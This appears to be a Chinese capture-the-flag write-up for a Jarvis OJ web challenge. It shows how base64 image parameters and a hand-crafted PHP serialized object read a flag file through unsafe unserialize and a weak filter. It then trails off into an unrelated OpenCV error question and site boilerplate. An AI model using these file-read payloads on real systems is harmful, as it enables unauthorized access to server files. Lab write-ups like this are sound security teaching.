showimg.php,CTF-WEB-神盾局的秘密 #class#源文件读取#unserialize

神盾局的秘密—— PCTF{W3lcome_To_Shi3ld_secret_Ar3a}

描述

这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?http://web.jarvisoj.com:32768/

分析

抓包发现: showimg.php?img=c2hpZWxkLmpwZw==,c2hpZWxkLmpwZw==为base64后的shield.jpg。

判断考点为读取源代码,试查看index.php内容,showimg.php?img=aW5kZXgucGhw。如果有传非空的class,则反序列化class值再用类里的方法readfile。

require_once('shield.php');

$x = new Shield();

#$x = class Shield{ $file = '';}

isset($_GET['class']) && $g = $_GET['class'];

#$g=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

if (!empty($g)) {

$x = unserialize($g);

#$x = class Shield{ $file = "pctf.php";}

}

echo $x->readfile();

#echo @file_get_contents("pctf.php");

?>

showimg.php?img=c2hpZWxkLmpwZw==

于是读取shield.php的内容:img=c2hpZWxkLnBocA==。存在一个构造函数和一个readfile(file值不为空且不含..|/|\时,读file值的文件内容)

//flag is in pctf.php

class Shield {

public $file;

function __construct($filename = '') {

#__construct():PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法,只有在对象创建时自动被调用

$this -> file = $filename;

}

function readfile() {

if (!empty($this->file) && stripos($this->file,'..')===FALSE

&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {

return @file_get_contents($this->file);}}}?>

读取pctf.php的内容:view-source:http://web.jarvisoj.com:32768/showimg.php?img=cGN0Zi5waHA=,提示file not found。在之前的源代码里都没看到这句,想来想去漏掉了showimg.php(一般来说最先看的是这个才对吧你毕竟在这里get来着(﹁"﹁)),于是看到果然有对img判断,不能有pctf。由于index.php里也可以readfile,转而投奔。具体的分析过程见最上面的注释。

$f = $_GET['img'];

if (!empty($f)) {

$f = base64_decode($f);

if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE

&& stripos($f,'pctf')===FALSE) {

readfile($f);

} else {

echo "File not found!";

}

}

?>

徒手写序列化:/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}。目标是传入:class Shield{ $file = "pctf.php";}

然后出题在这个地方还要放坑……还好一直在view-source:下没有离开过。。。

//Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}

//Fake flag:

echo "FLAG: PCTF{I_4m_not_fl4g}"

总结

1.学好php是多么的重要……

2.能读取文件的时候要把所有已知的都试试()

3.徒手写序列化还是蛮爽的()

格式:

对象类型:对象名长度:“对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:“变量名2”; 参数2类型:参数2长度:参数2;… …}

对象类型:Class:用O表示,Array:用a表示。

变量和参数类型:string:用s表示,Int:用i表示,Array:用a表示。

序列符号:参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。

例子一:

class Person{private $name = ‘Thinking’;private $sex = ‘man’;}

——serialize——>

O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}

例子二:

$Person = array(int(4),’sex’ => ‘man’);

——serialize——>

a:2:{i:4;s:3:”sex”;s:3:”man”;}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下代码发生TypeError: Expected Ptrcv::UMat for argument 'mat',代码如下: def on_pushButton_5_clicked(self): # 读取左相机图像 left_image_path = '1_left.JPG' # 替换为实际图像的路径 left_image = cv2.imread(left_image_path) # 转换为HSV颜色空间 hsv_image = cv2.cvtColor(left_image, cv2.COLOR_BGR2HSV) # 定义红色的HSV颜色范围 lower_red = np.array([0, 100, 100]) upper_red = np.array([10, 255, 255]) # 对图像进行红色阈值处理 red_mask = cv2.inRange(hsv_image, lower_red, upper_red) # 执行形态学操作,去除噪声 kernel = np.ones((5, 5), np.uint8) red_mask = cv2.morphologyEx(red_mask, cv2.MORPH_OPEN, kernel) # 查找红色轮廓 contours, _ = cv2.findContours(red_mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) # 保留最大的两个轮廓 contours = sorted(contours, key=cv2.contourArea, reverse=True)[:2] # 遍历轮廓并绘制圆心和坐标 for contour in contours: # 计算轮廓的最小外接圆 (x, y), radius = cv2.minEnclosingCircle(contour) center = (int(x), int(y)) radius = int(radius) # 绘制圆心 cv2.circle(left_image, center, 3, (0, 255, 0), -1) # 绘制圆形轮廓 cv2.circle(left_image, center, radius, (0, 0, 255), 2) # 绘制坐标 text = f'({int(x)}, {int(y)})' cv2.putText(left_image, text, (int(x) + 10, int(y) - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2) cv2.imshow('Result', cv2.circle) cv2.waitKey() showImg = cv2.cvtColor('image', cv2.COLOR_BGR2RGB) qImgae = QImage(showImg, showImg.shape[1], showImg.shape[0], showImg.shape[1]*3, QImage.Format_RGB888) self.label.setPixmap(QPixmap(qImage).scaled(self.label.width(), self.label.height(), Qt.KeepAspectRatio))
最新发布
05-25
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值